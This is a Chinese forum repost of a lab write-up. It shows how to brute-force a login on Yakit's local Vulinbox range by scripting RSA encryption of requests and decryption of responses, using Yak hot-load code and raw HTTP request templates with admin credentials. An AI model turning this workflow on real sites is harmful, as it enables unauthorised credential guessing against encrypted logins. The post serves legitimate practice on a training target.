渗出测试-前端加密分析之RSA响应加密

王柳  金牌会员 | 2024-12-22 07:13:57 | 显示全部楼层 | 阅读模式
打印 上一主题 下一主题

主题 881|帖子 881|积分 2643

本文是高级前端加解密与验签实战的第7篇文章,本系列文章实验靶场为Yakit里自带的Vulinbox靶场,本文讲述的是绕过请求包和响应包加密来爆破登录界面。
分析

这里的公私钥同上文一样是通过服务端获取

通过查看响应包可以看到,data字段被加密了,当然这里我已经知道了data字段和origin字段的内容是一样的,下面来看看该如何编写热加载代码吧。

热加载

方法1(固定私钥)

这里跟上文一样选择Web Fuzzer的序列功能。
数据提取器提取公私钥

由于afterRequest函数无法获取到参数,所以在代码里写死了私钥内容来解密响应包。
热加载代码:
  1. var PRIVATE_KEY = `这里填私钥内容(可换行)`
  2. decryptData = (packet) => {
  3.     body = poc.GetHTTPPacketBody(packet) // 获取响应包体
  4.     jsonBody = json.loads(body) // 转为map格式
  5.     //解密数据
  6.     data = codec.DecodeBase64(json.loads(body).data)~
  7.     data = codec.RSADecryptWithOAEP(PRIVATE_KEY/*type: bytes*/, data/*type: any*/)~
  8.     data = string(data)
  9.     // 使用JsonPath定位,替换json中的data
  10.     body = json.ReplaceAll(jsonBody, "$..data", data)
  11.     // 转为json格式
  12.     body = json.dumps(body, json.withIndent("   "))
  13.     // 替换正则匹配结果(可省略)
  14.     pattern := `\\`
  15.     body = re.ReplaceAll(body, pattern, "")
  16.     return poc.ReplaceBody(packet, body/*type: bytes*/, false/*type: bool*/)
  17. }
  18. encryptData = (pemPublic, data) => {
  19.     data = codec.RSAEncryptWithOAEP(pemPublic /*type: []byte*/, data)~
  20.     data = codec.EncodeBase64(data)
  21.     body = f`{"data":"${data}"}`
  22.     return body
  23. }
  24. //分割参数的函数
  25. splitParams = (params) => {
  26.     pairs := params.SplitN("|", 2)
  27.     return encryptData(pairs[0], pairs[1])
  28. }
  29. // 修改响应包
  30. afterRequest = func(rsp){
  31.     return decryptData(rsp)
  32. }
复制代码
请求格式:
  1. POST /crypto/js/rsa/fromserver/response HTTP/1.1
  2. Host: 127.0.0.1:8787
  3. Content-Type: application/json
  4. {{yak(splitParams|{{p(publicKey)}}|{"username":"admin","password":"admin23","age":"20"})}}
复制代码
下图为效果图,响应包的data字段的值被解密后的数据替换。

方法2(利用mirrorHTTPFlow)

在这一关(响应加密)和下一关(RSA加密AES密钥)解密过程中,我不停都在寻找如何才能把数据提取器提取到的privateKey传参到beforeRequest和afterRequest这类函数中,以达到修改数据包的目的。
从前端验签与加解密学习Yakit中WebFuzzer热加载。在这篇文章中学到了可以利用序列,将前两个序列提取到的key和数据,在第三个序列当做请求内容,解密后发送已往,这样也算是一种变相的完成了解密,但是这个方法感觉不太优雅,需要多一个额外的请求包。
这是其时测试的图片:


然后在 Yak Project官方公众号的文章中终于看到了一个函数,mirrorHTTPFlow可以解决这个问题,虽然不能直接替换响应包,但会出如今提取数据中。由于官方文档没有具体讲解这个函数,所以它的具体功能如今还不太清楚。

热加载代码:
  1. //加密函数
  2. encrypt = (pemPublic, data) => {
  3.     data = codec.RSAEncryptWithOAEP(pemPublic /*type: []byte*/, data)~
  4.     data = codec.EncodeBase64(data)
  5.     body = f`{"data":"${data}"}`
  6.     return body
  7. }
  8. //分割参数的函数
  9. splitParams = (params) => {
  10.     pairs := params.SplitN("|", 2)
  11.     return encrypt(pairs[0], pairs[1])
  12. }
  13. mirrorHTTPFlow = (req, rsp, params) => {
  14.     // 获取私钥以解密响应数据
  15.     pem = params.privateKey
  16.    
  17.     // 切割响应中的数据,作为 JSON 加载
  18.     _, body = poc.Split(rsp)
  19.     body = json.loads(body)
  20.    
  21.     // 解密data
  22.     data = codec.DecodeBase64(body.data)~
  23.     data = codec.RSADecryptWithOAEP(pem, data)~
  24.    
  25.     return string(data)
  26. }
复制代码
请求包格式:
  1. POST /crypto/js/rsa/fromserver/response HTTP/1.1
  2. Host: 127.0.0.1:8787
  3. Content-Type: application/json
  4. {{yak(splitParams|{{p(publicKey)}}|{"username":"admin","password":"123","age":"20"})}}
复制代码
效果如下图,可以看到解密后的data出如今了提取内容中。

爆破成功,但是看不到请求的原始密码,由于太累了懒得解决这个问题,啥时候闲了再说吧。


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

王柳

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表